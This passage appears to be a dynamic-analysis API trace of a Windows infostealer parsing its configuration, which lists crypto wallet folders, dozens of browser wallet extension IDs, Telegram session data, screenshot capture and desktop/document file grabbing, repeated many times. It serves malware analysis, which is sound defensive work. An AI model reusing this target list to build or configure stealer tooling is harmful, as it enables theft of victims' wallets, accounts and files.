Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4231 [0266.217] LocalAlloc (uFlags=0x40, uBytes=0x218e) returned 0x6fc408 [0266.217] StrCpyW (in: psz1=0x6ef5a0, psz2="Binance" | out: psz1="Binance") returned="Binance" [0266.218] LocalFree (hMem=0x6fc408) returned 0x0 [0266.218] StrStrW (lpFirst="26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.218] lstrlenW (lpString="binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4231 [0266.218] LocalAlloc (uFlags=0x40, uBytes=0x218e) returned 0x6fc408 [0266.218] StrCpyW (in: psz1=0x6f1ee8, psz2="26" | out: psz1="26") returned="26" [0266.219] LocalFree (hMem=0x6fc408) returned 0x0 [0266.219] StrStrW (lpFirst="Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.219] lstrlenW (lpString="binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension 